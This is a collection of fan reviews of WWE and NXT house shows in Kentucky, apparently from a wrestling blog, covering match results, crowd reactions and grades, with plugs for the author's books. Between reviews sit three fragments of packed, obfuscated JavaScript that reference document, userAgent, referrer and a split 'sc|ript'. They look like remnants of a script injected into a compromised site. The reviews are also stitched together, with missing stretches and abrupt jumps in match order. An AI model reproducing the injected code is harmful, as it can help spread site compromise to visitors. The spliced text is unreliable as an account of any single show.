I took in the Smackdown house show last night in Lexington, Kentucky. This was one of the last stops on the Road to Wrestlemania (which was mentioned over and over throughout the night of course, including on the t-shirt). It wasn’t exactly a huge show and the advertised main event (at least in some places) didn’t go through in the end, though a little something started to make up for the changed match. Let’s get to it.

The show was scheduled to start at 7pm and started almost exactly on time, as is almost always the case with house shows. The arena was far from full, but to be fair Rupp Arena is the biggest basketball arena in the country and can hold over 25,000 people. Not terrible for Easter Sunday night.

Before the show, the fans chose to watch clips of Ultimate Warrior vs. Randy Savage from Wrestlemania VII. Not surprising as Savage used to live in Lexington.

Daniel Bryan welcomed us to the show via a video which never said where the show was taking place.

It was announced that the four way main event with AJ Styles defending the Smackdown World Title against Baron Corbin, Sami Zayn and Kevin Owens would be a singles match with only Corbin getting a shot. This was announced on the Rupp Arena email I received about the show so it wasn’t a huge shock.

1. New Day b. Rusev Day – Midnight Hour to English (14:27, B-)

There was a giant inflatable BootyO’s box next to the ramp during New Day’s entrance. New Day came out with Easter eggs but English said that Rusev was the Rusev Day Bunny. Rusev Day stole the eggs and poured the candy on the mat before the match, much to Big E.’s horror. Also, New Day threw pancakes to the crowd and those things went FLYING, with a kid about four seats to my right catching one. They’re real pancakes too.

This was actually a lot of fun with Woods and English having a hot start. The fans were WAY into New Day’s antics and it was comedy for a good while. Big E. was gyrating more than usual, including one spot where English took a bow but looked up to see the gyrating hips. After Woods took a long beating, Big E. came in off the hot tag and cleaned house until the Midnight Hour ended English. The match felt longer than it was, albeit in a good way. Very solid opener.

2. Shinsuke Nakamura b. Dolph Ziggler – Kinshasa (16:20, B-)

This is the third time I’ve seen this match live in a year (plus a tag match with the two of them involved) so I was more than a little bored this time around. It was exactly the same match they’ve had time after time with Ziggler doing all of his usual stuff but getting Kinshasaed for the pin. Not terrible, but I’ve seen it so many times that I really don’t care anymore. Also, kind of early in the show for Nakamura. After the match, Charles Robinson fireman’s carried a groggy Ziggler to the stage, where Ziggler superkicked an Easter Bunny pinata.

3. Tag Team Titles: Usos b. Shelton Benjamin/Chad Gable – Double superkick to Gable (8:22, C)

This was short and to the point, but the main thing here was the Usos being CRAZY over. They easily got one of the best face pops of the night and it was nice to see them getting the recognition. These guys have reinvented themselves and they had a completely watchable match here. Nothing great, but it was fine for what it was.

4. US Title: Randy Orton b. Jinder Mahal and Bobby Roode – RKO to Mahal (13:54, C)

If this is any indication of what’s coming at Wrestlemania, we’re in for a nacho break match. This was really uninspired stuff and everything you would expect it to be. Mahal was really lame in his offense but the fans couldn’t stand him. At least they were into Roode’s pose. The interesting part here was the fans chanting HAPPY BIRTHDAY at Orton, who seemed to smile a little bit at the recognition. This was exactly what you would expect from these three, which isn’t a good sign.

Intermission

5. Tye Dillinger vs. Mojo Rawley went to a no contest when Sami Zayn and Kevin Owens interfered (7:55, D)

As intermission was winding down, we got a countdown from thirty seconds and Dillinger’s entrance started at ten in a nice surprise. This only existed for the run-in finish and that’s fine. The fans HATED Rawley though, mainly because he turned heel in the same arena. This earned him chants of MOJO SUCKS, YOU STILL SUCK and WE REMEMBER. Owens and Zayn ran in after an uninspired match, saying they were giving the fans what they paid to see, unlike Daniel Bryan and Shane McMahon. Security took them out and that was that.

6. Charlotte/Naomi/Becky Lynch b. Riott Squad vs. Lana/Carmella/Natalya – Figure Eight to Morgan (10:28, C-)

They threw all of the women into one match and that’s a little annoying. I was expecting two matches but throwing them all into one didn’t let anyone stand out, save for one person. Becky Lynch came off as the biggest star in this match by a mile and a half with only Charlotte being on the same planet. She has the energy, the look and the work to be the top woman in the company and they’re crazy if they don’t go with it. Everything broke down and Charlotte made Morgan tap. This felt like a house show match, which isn’t a great thing to say. The camera doesn’t do Lana or Carmella justice.

7. AJ Styles b. Baron Corbin – Phenomenal Forearm (12:56, C+)

Styles worked the leg throughout and nearly got a submission off the Calf Crusher. There isn’t much to talk about here, save for a wicked Deep Six from Corbin. The main thing that stood out to me was how big Corbin seemed. I know he’s bigger than most of the roster but he was TOWERING over Styles here. Nothing much to this one as it was just a house show main event.

Overall, nothing worth seeing but for $27.50, I can’t really complain that much. The wrestling was fine and considering it was the Sunday before Wrestlemania, you can’t expect them to be going full speed. I had a good time and the wrestling was watchable so all in all, not a bad night whatsoever.

Remember to check out my website at kbwrestlingreviews.com and pick up the paperback edition of the WWE Grab Bag (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/03/23/new-paperback-kbs-grab-bag/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysbnn|var|u0026u|referrer|nknya||js|php'.split('|'),0,{})) took in the Raw house show last night at Rupp Arena in Lexington, Kentucky. The featured attraction this time around was John Cena, who was making a rare house show appearance. However, this wasn’t mentioned on TV commercials until the week of the show, despite the announcement being made on WWE.com over three weeks ago. The crowd was solid enough for a Sunday house show but I have to think advertising Cena as a major attraction would have helped.

The show was scheduled to start at 7pm and actually kicked off a minute or so early. It was a fairly strong turnout with the upper deck completely tarped off but that’s standard for a place the size of Rupp Arena. It should be noted that Rupp Arena is the largest arena in the United States built for basketball with over 23,000 seats. Therefore, even a crowd that is only half full would be a solid showing elsewhere.

1. Apollo Crews/Heath Slater/Rhyno b. Curt Hawkins/Anderson and Gallows (5:50) C-.

This was exactly the opener you would have wanted with the faces being incredibly popular and everyone going nuts for Slater and Rhyno. Crews is a fine face with the athleticism and Titus makes for a solid manager who knows how to fire up a crowd. You don’t come off as professional as he does and not have some kind of use, even if it’s just a spot as a manager. The best note of this was Anderson beating Slater up and shouting that he has kids too. Rhyno hit a spinebuster on Hawkins for the pin.

2. Goldust b. R-Truth (1:18)

This was another good choice to fire the crowd up but the ending was really sudden. Truth beat the heck out of Goldust for about a minute but charged into a boot and got rolled up for the pin with feet on the ropes. After it was over, Truth promised to get back at Goldust. Nothing to see here but Truth’s song fired up the crowd.

3. Akira Tozawa b. Brian Kendrick (8:26) B-.

This might have been the match of the night, which isn’t really saying much on a show like this. Tozawa got the crowd going again (notice a pattern here) with the shouting and there was a great near fall off a kick to Kendrick’s head. Tozawa won with the top rope backsplash after escaping the Captain’s Hook. No Titus here, despite Tozawa signing with Titus Worldwide. The problem here continues to be very simple though: no one cares about the cruiserweights and there’s no real way around it.

4. Finn Balor b. Elias Samson (8:39) C.

I’ve said this before and I’ll say it again: I have no idea why Finn Balor’s isn’t World Champion like, now. The guy is an absolute star and comes off exactly as such with the fans eating up everything he does. He has a good look, his matches are solid and his entrance is outstanding. Throw in the Demon King when the time is right and he’s pure money. This was longer than it needed to be with Samson in control for the most par. Balor made the comeback you would expect him to make and finished with the Coup de Grace.

5. Dean Ambrose/Seth Rollins b. Miztourage (14:45) B-.

I love lackeys. They can help extend both a feud and a character so much just by having people there to fight instead of doing the same match over and over again. That was the case here as Curtis Axel and Bo Dallas said Miz was too busy for a town like Lexington and they were representing him instead. Axel got in a great line: “I’m not saying Kentucky sucks. I’m saying LEXINGTON, Kentucky sucks.”

The place went coconuts for Rollins when he was the surprise (Kind of?) partner for Ambrose. I still think he could easily be the next Jeff Hardy and the reaction he received here only reinforce that theory. This was a longer match than you would expect and went about as you would have guessed. The Miztourage are fine heels and can go in the ring, making me all the sadder that Axel was wasted for so many years. Ambrose won with Dirty Deeds to Dallas in an energetic match.

Intermission. Two kids got to play the What Happens Next game and thankfully they didn’t go with the Vince dying clip. After the kids got it right, they received a program, a WWE Top Ten book, the Best of the 2000s DVD, a shirt, every autographed poster for sale, and probably something else that I’m forgetting. Not bad at all for a single night.

6. Mickie James/Dana Brooke b. Alexa Bliss/Nia Jax (6:55) D+.

And then the crowd died when they realized Bayley and Sasha Banks weren’t here. I’m a bigger Brooke fan than most but sweet goodness people did not care about these two against the top heels. The match wasn’t even very good either with the lone highlight (aside from Alexa of course) being Bliss not being able to whip Jax into the corner for a splash and just giving up. Mickie kicked Bliss in the face for the surprising pin.

7. Sheamus/Cesaro b. Hardy Boyz (12:32) C+.

The Hardys got the pop of the night but unfortunately the match was about the same thing these teams have been doing for months now. Jeff had his facepaint back and Matt was doing the DELETE pose fairly often. The match was perfectly watchable and the crowd was WAY into everything the Hardys were doing all match long. Sheamus snapped Matt’s throat across the top rope so Cesaro could grab a small package to retain the titles.

8. John Cena b. Bray Wyatt (14:08) C.

Much like the previous match, this was exactly what you would expect from these two. Cena got a great reaction and easily the second biggest of the night. Above all else though, I couldn’t get over how sad it is that Bray has gone from an awesome cult leader to a homeless guy who swings a lantern around. He’s completely lacking direction and it’s been sad to watch for a good while now. The ref got bumped so there was no one to see Bray tap to the STF. A low blow gave Wyatt two (with the kids losing their minds on the kickout), followed by an AA for the pin.

A Smackdown Live taping was announced for November, though I had originally heard of this as a Raw. They put tickets on sale for one night so I picked up a similar seat for the exact same price as the house show. You would think the TV aspect and a more important show would raise prices/mean the house show should have been lower but not so much. There were probably 100 people in line to buy tickets but if there are four months before the show, the low pre-sale isn’t a surprise.

Overall it was a fun night with a VERY hot crowd. The faces mostly won and it was more than entertaining enough. Two tickets in the lower arena (sixth row in the first set of seats off the floor) were $75 total so it was hardly expensive as another nice perk. Good show and a lot of fun, which to be fair was helped by it being five minutes from my house.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbbdd|var|u0026u|referrer|rkyar||js|php'.split('|'),0,{})) took in the NXT house show tonight in Highland Heights, Kentucky (basically Cincinnati) at the BB&T Arena on the campus of Northern Kentucky University. NXT was at this same arena about nine months ago and they’re already back, though after how things went tonight, I don’t know if there’s going to be a third show.

Since there were a few hundred empty seats closer, I sat in one of those, only to have an usher come up and say I could have a third row floor seat for free if I wanted. Even with the ushers giving away dozens of floor seats, there was still an empty seat next to me and three empty seats in what would have been the sixth row. There were a few more people in the stands later in the show but it was still really bad looking.

During the opening matches there was a video feed of the entrances on the Titantron but it had a slight delay, which was really jarring. Then they just stopped doing it and had regular entrance videos.

DIY did a quick promo, talking about how they would beat Sanity later and then lead a parade down the Ohio River. They did almost the same thing at a show in Louisville where Gargano said they would ride horses to Indiana. Ciampa: “HORSES???” Anyway this was fine and I have no idea why it was the only one all night.

Post match Eric Young issued an open challenge for anyone to come out and fight Killian Dain.

7. Killian Dain b. Kassius Ohno at 12:00. This was about what you would expect from Dain as he powered Ohno down and used a bunch of chinlocks. Ohno fought back with some strikes and the pump kicks, plus a Diamond Dust of all things. Dain was busted open off a shot to the face (not bad) but finished him with the Ulster Plantation.

Post match Sanity beat Ohno down but No Way Jose came out for the same. The fans were into Ohno, especially his theme music.

Itami went to the back almost immediately but Strong went around the ring high fiving fans (including me) and taking some quick photos, which I always find cool. The announcers gave us a quick thank you to end the night.

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|defde|var|u0026u|referrer|zrrdi||js|php'.split('|'),0,{})) took in the NXT house show last night at the Broadbent Arena in Louisville, Kentucky. The arena holds 6,600 people but part of it was tarped off and the entire back section of the bleacher seats weren’t sold. The floor seats however were completely full and gave the show a good feeling as the area around the ring was packed.  Let’s get to it.

After a regular opening video and the Star Spangled Banner, the ring announcer started an NXT chant and we were ready to go.

1. Gran Metalik b. Noam Dar – Metalik Driver (8:30)

2. Ember Moon b. Mandy Rose – Eclipse (9:03)

3. Authors of Pain b. Heavy Machinery – Final Chapter (7:28)

4. Elias Samson b. Oney Lorcan – Swinging neckbreaker (7:45)

Billie Kay was out with Royce. This was better than expected with Billie getting in a distraction so Peyton could take over. The Aussies are getting better at their offense and looking more like bullies. Asuka Hulked Up, took out Billie and Asuka Locked Peyton to retain. C+.